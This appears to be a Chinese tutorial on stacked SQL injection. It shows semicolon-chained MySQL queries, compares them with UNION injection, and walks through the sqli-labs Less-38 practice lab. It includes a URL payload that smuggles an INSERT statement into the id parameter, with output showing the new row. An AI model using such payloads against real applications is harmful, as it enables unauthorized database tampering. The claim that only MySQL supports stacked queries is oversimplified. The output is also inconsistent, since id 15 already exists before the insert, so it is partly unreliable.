SQL注入之堆叠注入

在SQL中，分号；是用来表示一条sql语句的结束，试想一下我们在； 结束一个sql语句后面继续构造下一个语句
会不会一起执行？因此这个想法也就造就了堆叠注入。

注意:mysql才支持堆叠注入,oracle是不支持的。

```
mysql> select * from users;select * from emails;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | VYfTAQGE | y3B!p6i!C9 |
| 22 | mc       | hello      |
+----+----------+------------+
15 rows in set (0.00 sec)

+----+-----------------------+
| id | email_id              |
+----+-----------------------+
|  1 | Dumb@dhakkan.com      |
|  2 | Angel@iloveu.com      |
|  3 | Dummy@dhakkan.local   |
|  4 | secure@dhakkan.local  |
|  5 | stupid@dhakkan.local  |
|  6 | superman@dhakkan.local|
|  7 | batman@dhakkan.local  |
|  8 | admin@dhakkan.com     |
+----+-----------------------+
8 rows in set (0.01 sec)
```

而union injection（联合注入）也是将两条语句合并在一起
两者之间有什么区别？区别就在于union执行语句类型有限，可以用来执行查询语句，而堆叠注入可以执行的是任意语句

Less-38

```
http://localhost/sqli-labs-php7-master/Less-38/?id=1';insert into users values(15,'hsw','123456');--+
```

从数据库可以查询到,说明注入成功。

9	admin1	admin1
10	admin2	admin2
11	admin3	admin3
12	dhakkan	dumbo
14	admin4	admin4
15	hsw	123456